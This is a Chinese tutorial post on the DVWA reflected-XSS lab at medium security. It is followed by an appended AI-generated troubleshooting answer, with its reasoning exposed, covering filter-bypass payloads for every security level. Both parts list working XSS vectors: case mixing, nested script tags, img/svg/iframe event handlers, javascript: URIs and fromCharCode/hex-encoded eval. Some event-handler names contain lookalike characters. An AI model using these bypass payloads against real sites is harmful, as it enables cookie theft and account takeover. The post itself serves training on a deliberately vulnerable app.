DVWA - XSS Reflected(medium)

本文探讨了多种XSS攻击手法,包括大写绕过、双写绕过及利用img和iframe标签注入恶意脚本的方法。同时分析了PHP代码如何处理XSS防护,如使用header禁用XSS保护及字符串替换函数的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

输入常规的payload

<script>alert(document.cookie)</script>

在这里插入图片描述
script标签应该是被过滤了

方法一 大写绕过

<SCRIPT>alert(document.cookie)</SCRIPT>

在这里插入图片描述
在这里插入图片描述
执行成功

方法二 双写绕过

<sc<script>ript>alert('xss')</script>

在这里插入图片描述
方法三 其他标签

在这里插入代码片

img标签:

<img src=1 οnerrοr=alert('xss')>
 <img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

iframe标签:

<iframe οnlοad=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

在这里插入图片描述

PHP代码分析
在这里插入图片描述
pre标签
可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。该标签的一个常见应用就是用来表示计算机的源代码。

header (“X-XSS-Protection: 0”);
在这里插入图片描述
在这里插入图片描述
array_key_exists()函数
在这里插入图片描述

str_replace() 函数
在这里插入图片描述

<think>好的,我现在要解决用户在DVWA中进行XSS攻击时无法弹窗的问题。首先,我需要回忆一下DVWA的基本设置。DVWA(Damn Vulnerable Web Application)是一个用于安全测试的环境,用户通常会在不同的安全别下进行练习,比如Low、Medium、High。XSS攻击弹窗不出现,可能有多种原因。 首先,用户可能是在较高的安全别下进行测试。比如,在Medium或High别下,DVWA会有一些防护措施,比如过滤<script>标签或对输入进行转义。这时候,我需要检查当前的安全别,并建议用户将其调至Low别进行测试。 其次,输入的payload可能被过滤或处理了。例如,在Medium别中,可能会使用str_replace函数替换<script>标签。这时候,用户需要尝试其他标签,比如<img src=x onerror=alert(1)>,或者使用大小写混淆绕过过滤,比如<ScRiPt>alert(1)</ScRiPt>。 另外,浏览器的安全机制也可能阻止弹窗。比如,现代浏览器对反射型XSS可能会有内置的保护措施,特别是如果URL中包含alert()这类常见函数。这时候,可以尝试换用其他函数,比如prompt()或confirm(),或者使用编码绕过,比如将alert(1)转换成String.fromCharCode(97,108,101,114,116,40,49,41)然后通过eval执行。 还需要检查是否有输入长度限制。某些情况下,DVWA的输入字段可能有长度限制,导致payload被截断。这时候,可以尝试缩短payload,或者通过浏览器开发者工具移除输入框的maxlength属性。 此外,确保用户是在正确的模块下测试。DVWA中有反射型XSSReflected)和存储型XSS(Stored),如果用户在错误的模块输入payload,也可能无法触发弹窗。需要确认用户是否在正确的页面提交payload。 最后,可能需要查看服务器端的代码,了解具体的过滤机制。例如,在High别的DVWA中,可能会使用正则表达式彻底过滤脚本标签,这时候需要更高的绕过技巧,比如事件处理程序或使用其他HTML元素。 总结下来,可能的解决步骤包括:检查安全别、尝试不同payload、绕过浏览器保护、处理输入限制、确认测试模块,以及分析服务器端过滤逻辑。接下来需要将这些步骤整理成用户友好的解答,并提供具体的示例和引用相知识点。</think>### DVWAXSS攻击无法弹窗的解决方法 在DVWA中遇到XSS攻击无法弹窗的问题,通常与安全别设置、输入过滤或浏览器防护机制有。以下是逐步排查和解决的方法: --- #### **1. 确认DVWA安全别** DVWA的安全别(Low/Medium/High)直接影响XSS漏洞的利用难度: - **Low别**:无防护,直接使用`<script>alert(1)</script>`即可弹窗。 - **Medium/High别**:可能过滤`<script>`标签或转义特殊字符[^1]。 **操作步骤**: 1. 登录DVWA,点击左侧`DVWA Security`。 2. 将安全别调整为**Low**后重试。 --- #### **2. 尝试绕过过滤的Payload** 若安全别为Medium或High,需使用绕过技巧: - **Medium别**:过滤`<script>`标签,但未处理大小写或事件属性。 ```html <!-- 使用大小写混淆 --> <ScRiPt>alert(1)</ScRiPt> <!-- 使用HTML事件属性 --> <img src=x onerror=alert(1)> ``` - **High别**:可能彻底过滤脚本标签,需利用其他方式: ```html <!-- 使用伪协议或编码绕过 --> <a href="javascript:alert(1)">Click</a> <svg onload=alert(1)> ``` --- #### **3. 检查浏览器防护机制** 现代浏览器(如Chrome)可能拦截反射型XSS弹窗: - **解决方法**: 1. 改用`prompt()`或`confirm()`代替`alert()`: ```html <script>prompt(1)</script> ``` 2. 使用编码绕过检测: ```html <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> ``` 3. 更换浏览器(如Firefox)测试。 --- #### **4. 处理输入长度限制** 某些DVWA输入字段(如存储型XSS)有长度限制: - **操作步骤**: 1. 打开浏览器开发者工具(F12)。 2. 找到输入框,删除`maxlength`属性后提交长payload。 --- #### **5. 确认测试的XSS类型** DVWA包含两种XSS模块: - **反射型XSSReflected)**:Payload直接显示在URL中,需通过输入框提交。 - **存储型XSS(Stored)**:Payload需提交到数据库(如留言板),刷新页面后触发。 **示例**(存储型XSS): ```html <textarea><svg onload=alert(1)></textarea> ``` --- #### **6. 查看服务器端过滤逻辑** 分析DVWA源码(以反射型XSS为例): - **Low别**:无过滤: ```php <?php echo $_GET['name']; // 直接输出输入内容 ?> ``` - **Medium别**:部分过滤: ```php <?php $name = str_replace('<script>', '', $_GET['name']); // 替换<script>标签 echo $name; ?> ``` - **High别**:严格过滤: ```php <?php $name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']); // 正则过滤 echo $name; ?> ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值